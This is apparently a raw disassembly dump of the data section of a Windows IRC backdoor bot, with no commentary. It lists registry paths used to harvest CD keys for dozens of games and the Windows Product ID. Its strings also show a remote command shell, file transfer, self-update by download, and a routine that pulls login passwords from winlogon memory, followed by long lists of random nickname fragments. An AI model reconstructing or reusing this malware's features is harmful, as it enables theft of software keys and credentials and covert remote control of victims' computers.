aSerial		db 'Serial',0
		align 4
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 4
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 10h
aNascarRacing20	db 'Nascar Racing 2003',0
		align 4
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 10h
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 4
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 10h
aNhl2003	db 'NHL 2003',0
		align 4
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 10h
aNhl2002	db 'NHL 2002',0
		align 4
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 10h
aFifa2003	db 'FIFA 2003',0
		align 4
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 10h
aFifa2002	db 'FIFA 2002',0
		align 4
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 10h
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 4
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 10h
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 10h
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 10h
aErgc		db 'ergc',0
		align 4
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 4
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 4
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 4
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 4
		db 53h
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 4
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 4
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 10h
aGlobalOperatio	db 'Global Operations',0
		align 4
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 10h
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 10h
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 4
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 4
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 4
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 10h
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 10h
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 4
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 4
aBattlefield1_1	db 'Battlefield 1942',0
		align 4
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 4
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 4
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 10h
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 4
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 4
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 4
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 4
aProductid	db 'ProductId',0
		align 4
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 10h
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 4
aCustomernumber	db 'CustomerNumber',0
		align 4
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 4
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 4
aHalfLife	db 'Half-Life',0
		align 4
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 4
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 10h
aTheGladiators	db 'The Gladiators',0
		align 10h
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: ___:004368F4o
aCdkey		db 'CDKey',0            ; DATA XREF: ___:004368F0o
		align 4
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_4368ECo
		align 4
asc_437AEC:				; DATA XREF: sub_415A30+E9o
					; sub_415A30+F4o
		unicode	0, <=>,0
dword_437AF0	dd 234032Dh, 656B6463h,	3027379h, 7325202Dh, 7325203Ah
					; DATA XREF: sub_415A30+2Bo
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
unk_437B6C	db  2Dh	; -		; DATA XREF: ___:00415F18o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 10h
dword_437B90	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: ___:0041617Do
					; ___:00416313o
		dd 726F72h
unk_437BA8	db  2Dh	; -		; DATA XREF: ___:00416115o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 4
unk_437BD4	db  2Dh	; -		; DATA XREF: ___:0041601Do
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 4
dword_437BF8	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: ___:00415FE6o
		dd 74756Fh
dword_437C10	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: ___:00415F85o
		dd 169h
unk_437C28	db  2Dh	; -		; DATA XREF: ___:00415F42o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 4
unk_437C48	db  2Dh	; -		; DATA XREF: ___:00415E9Do
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_437C6C	db  2Dh	; -		; DATA XREF: ___:00415E5Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_2	db '- failed to create socket',0
		align 10h
unk_437C90	db  2Dh	; -		; DATA XREF: ___:0041638Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 4
unk_437CBC	db  2Dh	; -		; DATA XREF: ___:00416288o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
unk_437CDC	db  2Dh	; -		; DATA XREF: ___:00416268o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 4
aAB		db 'a+b',0              ; DATA XREF: ___:00416254o
unk_437D0C	db  2Dh	; -		; DATA XREF: ___:00416240o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 4
unk_437D3C	db  2Dh	; -		; DATA XREF: ___:0041688Do
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
unk_437D68	db  2Dh	; -		; DATA XREF: ___:0041687Fo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
unk_437D9C	db  2Dh	; -		; DATA XREF: ___:004167C3o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 10h
dword_437DE0	dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 6E65706Fh
					; DATA XREF: ___:00416752o
		dd 25206465h, 73h
unk_437DFC	db  2Dh	; -		; DATA XREF: ___:004166DBo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
unk_437E34	db  2Dh	; -		; DATA XREF: ___:0041665Co
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
unk_437E5C	db  2Dh	; -		; DATA XREF: ___:004165D2o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 4
unk_437E88	db  2Dh	; -		; DATA XREF: ___:0041658Fo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 10h
unk_437EB0	db  2Dh	; -		; DATA XREF: ___:0041657Do
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 4
unk_437ED8	db  2Dh	; -		; DATA XREF: ___:00416471o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 10h
aUnknown	db 'Unknown',0          ; DATA XREF: sub_4169A2:loc_4169E5o
					; sub_418EF7+10Ao
aInvalid	db 'Invalid',0          ; DATA XREF: sub_4169A2:loc_4169DFo
aDisk		db 'Disk',0             ; DATA XREF: sub_4169A2:loc_4169D9o
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_4169A2:loc_4169D3o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_4169A2:loc_4169CDo
		align 4
off_437F28	dd offset word_4D4152	; DATA XREF: sub_4169A2:loc_4169C7o
word_437F2C	dw 3Fh			; DATA XREF: sub_4169A2+1Fo
					; sub_41AA43:loc_41AB45r
		align 10h
aFailed		db 'failed',0           ; DATA XREF: sub_416A33:loc_416B11o
					; sub_416B57+3Bo
		align 4
aSkb		db '%sKB',0             ; DATA XREF: sub_416A33+6Co
		align 10h
unk_437F40	db  2Dh	; -		; DATA XREF: sub_416B57+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
unk_437F7C	db  2Dh	; -		; DATA XREF: sub_416B57+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
off_437FB8	dd offset byte_5C3A41	; DATA XREF: sub_416C29:loc_416C6Eo
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
		db  66h	; f
		db 6Fh,	75h, 6Eh
		db  64h	; d
		db 20h,	25h, 64h
		db  20h
aFiles		db 'files',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 4
		dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
		dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_438028	db  2Dh	; -		; DATA XREF: sub_416F1B:loc_417094o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToEnable	db 'failed to enable debug privilege',0
		align 4
unk_43805C	db  2Dh	; -		; DATA XREF: sub_416F1B:loc_417067o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindWi	db 'unable to find winlogon pid',0
unk_438088	db  2Dh	; -		; DATA XREF: sub_416F1B:loc_417060o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindTh	db 'unable to find the password in memory',0
		align 10h
unk_4380C0	db  2Dh	; -		; DATA XREF: sub_416F1B+117o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
		db  57h	; W
		db 69h,	6Eh, 4Ch
		db  6Fh	; o
		db 67h,	6Fh, 6Eh
		db  20h
		db 49h,	6Eh, 66h
		db  6Fh	; o
		db 72h,	6Dh, 61h
		db  74h	; t
		db 69h,	6Fh, 6Eh
		db  20h
		db 28h,	50h, 49h
		db  44h	; D
		db 20h,	25h, 64h
		db  29h	; )
		db 20h,	2Dh, 20h
		db    2
		db 44h,	6Fh, 6Dh
		db  61h	; a
		db 69h,	6Eh, 2
		db  3Ah	; :
		db 20h,	2 dup(5Ch)
		db  25h	; %
		db 53h,	2Ch, 20h
		db    2
		db 55h,	73h, 65h
		db  72h	; r
		db 2, 3Ah, 20h
aSNoPassword_	db '(%S/(no password)).',0
off_43811C	dd offset byte_530055	; DATA XREF: sub_416F1B+DCo
		dd offset byte_520045
		dd offset dword_4F0044
		dd offset loc_41004B+2
		dd offset loc_4E0047+2
		dd 0
off_438134	dd offset byte_530055	; DATA XREF: sub_416F1B+CEo
		dd offset byte_520045
		dd offset loc_41004E
		dd offset byte_45004D
		align 8
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F1B+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F1B+8Do
		align 10h
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F1B+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F1B+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F1B+68o
		align 4
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_416F1B+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F1B+40o
					; sub_416F1B+161o ...
		align 4
unk_4381F8	db  2Dh	; -		; DATA XREF: sub_416F1B+35o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aOnlySupportedO	db 'only supported on winnt/win2k',0
		align 4
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_4170ED+13Eo
		align 10h
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_4170ED+123o
		align 4
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_4170ED+AFo
		align 4
dword_438244	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417553+70o
					; sub_4175EA+C7o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_438294	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_4175EA+E1o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
		dd 2929h
off_4382E8	dd offset aQ		; DATA XREF: sub_417ADE+5Cr
					; "q"
		dd offset dword_438E90
		dd offset aE		; "e"
		dd offset aR		; "r"
		dd offset aT		; "t"
		dd offset dword_438E8C
		dd offset aU		; "u"
		dd offset aI		; "i"
		dd offset aP		; "p"
		dd offset aA		; "a"
		dd offset aS_0		; "s"
		dd offset aD		; "d"
		dd offset dword_438E88
		dd offset dword_438E84
		dd offset dword_438E80
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset asc_42CE50	; "l"
		dd offset dword_438E7C
		dd offset dword_438E78
		dd offset aC		; "c"
		dd offset aV		; "v"
		dd offset dword_438E74
		dd offset aN		; "n"
		dd offset aM		; "m"
		dd offset dword_438E70
		dd offset dword_438E6C
		dd offset dword_438E68
		dd offset dword_438E64
		dd offset dword_438E60
		dd offset word_438E5C
		dd offset dword_438E58
		dd offset aI_0		; "I"
		dd offset dword_438E54
		dd offset dword_438E50
		dd offset aA_0		; "A"
		dd offset dword_438E4C
		dd offset dword_438E48
		dd offset dword_438E44
		dd offset dword_438E40
		dd offset dword_438E3C
		dd offset dword_438E38
		dd offset dword_438E34
		dd offset dword_438E30
		dd offset dword_438E2C
		dd offset dword_438E28
		dd offset dword_438E24
		dd offset dword_438E20
		dd offset dword_438E1C
		dd offset word_438E18
		dd offset aM_0		; "M"
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl		; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary_0	; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset dword_438BB0
		dd offset off_438BAC
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_438A18
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
		dd offset aAdamm33	; "AdAMM33"
		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN```"
		dd offset aDallas43m	; "DALLAS43M"
		dd offset aPrometheus	; "prometheus"
		dd offset aMaveRIck	; "MaVe{R}icK"
		dd offset aAdamm	; "ADAMM"
		dd offset aCumhur29	; "cumhur29"
		dd offset aWantedlove	; "WANTEDLOVE"
off_4385E8	dd offset aSex		; DATA XREF: sub_417ADE+41r
					; sub_417ADE+ECr
					; "sex"
		dd offset aLez		; "lez"
		dd offset aZex		; "zex"
		dd offset aTree		; "tree"
		dd offset aBad		; "bad"
		dd offset aLag		; "lag"
		dd offset aTambe	; "|tambe|"
		dd offset aWoh		; "|woh|"
		dd offset aTot		; "-|tot|"
		dd offset aSuck		; "|suck|"
		dd offset aLuck		; "|luck|"
		dd offset aHub		; "{hub}"
		dd offset aSex_0	; "{sex}"
		dd offset aGens		; "{gens|"
		dd offset aLuvuF	; "||luvu-f|"
		dd offset aWiked	; "|wiked|"
		dd offset aSick		; "sick}}"
		dd offset aQ8		; "Q8"
		dd offset aQ8A		; "|q8|a"
		dd offset dword_438E74
		dd offset aC		; "c"
		dd offset aD		; "d"
		dd offset aE		; "e"
		dd offset dword_438E88
		dd offset dword_438E84
		dd offset dword_438E80
		dd offset aI		; "i"
		dd offset dword_42BBF8
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset asc_42CE50	; "l"
		dd offset aM		; "m"
		dd offset aN		; "n"
		dd offset aO		; "o"
		dd offset aP		; "p"
		dd offset aQ		; "q"
		dd offset aRs		; "rs"
		dd offset aT		; "t"
		dd offset aU		; "u"
		dd offset aV		; "v"
		dd offset dword_438E90
		dd offset dword_438E78
		dd offset dword_438E8C
		dd offset dword_438E7C
		dd offset aHappy	; "happy"
		dd offset aRg		; "rg"
		dd offset aTy		; "ty"
		dd offset aGf		; "gf"
		dd offset aRt		; "rt"
		dd offset aSdf		; "sdf"
		dd offset aUi		; "ui"
		dd offset aLuvy		; "luvy"
		dd offset aTrimy	; "trimy"
		dd offset aTruck	; "truck"
		dd offset aMuckc	; "muckc"
		dd offset dword_438E7C
		dd offset dword_438E84
		dd offset aS_0		; "s"
		dd offset aQ		; "q"
		dd offset off_438838
		dd offset aBbl		; "|bbl"
		dd offset dword_43D808
		dd offset dword_43D808
		dd offset a___0		; "_|_"
		dd offset dword_43D808
		dd offset dword_43D808
		dd offset dword_43D808
		dd offset dword_43D808
		dd offset dword_438E44
		dd offset aM_0		; "M"
		dd offset aLuvu		; "LUVU"
		dd offset aSad		; "Sad"
		dd offset aF_2		; "^^^f^"
		dd offset dword_438E74
		dd offset dword_43D808
		dd offset aSleeping	; "Sleeping"
		dd offset dword_43D808
		dd offset dword_43D808
		dd offset aFuck_0	; "Fuck"
		dd offset aFree		; "Free"
		dd offset dword_43D808
		dd offset dword_43D808
		dd offset dword_438E28
		dd offset dword_43D808
		dd offset off_4387F8
		dd offset aGirl_0	; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit		; "shit"
		dd offset aAha		; "aha"
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0		; "mof0"
		dd offset aMofo		; "mofo"
		dd offset dword_4387B8
		dd offset dword_4387B4
		dd offset dword_4387AC
		dd offset dword_4387A0
		dd offset dword_438798
		dd offset dword_438790
		dd offset dword_438788
		dd offset dword_438784
		dd offset dword_438780
dword_438780	dd 7536h		; DATA XREF: ___:0043877Co
dword_438784	dd 7535h		; DATA XREF: ___:00438778o
dword_438788	dd 7C75347Ch, 0		; DATA XREF: ___:00438774o
dword_438790	dd 6F79347Bh, 7D75h	; DATA XREF: ___:00438770o
dword_438798	dd 7375347Ch, 7Ch	; DATA XREF: ___:0043876Co
dword_4387A0	dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438768o
dword_4387AC	dd 6F6C6F6Ch, 7C617Ch	; DATA XREF: ___:00438764o
dword_4387B4	dd 6C6F6Ch		; DATA XREF: ___:00438760o
dword_4387B8	dd 746F74h		; DATA XREF: ___:0043875Co
aMofo		db 'mofo',0             ; DATA XREF: ___:00438758o
		align 4
aMof0		db 'mof0',0             ; DATA XREF: ___:00438754o
		align 4
aMuha		db 'muha',0             ; DATA XREF: ___:00438750o
		align 4
aYeah		db 'yeah',0             ; DATA XREF: ___:0043874Co
		align 4
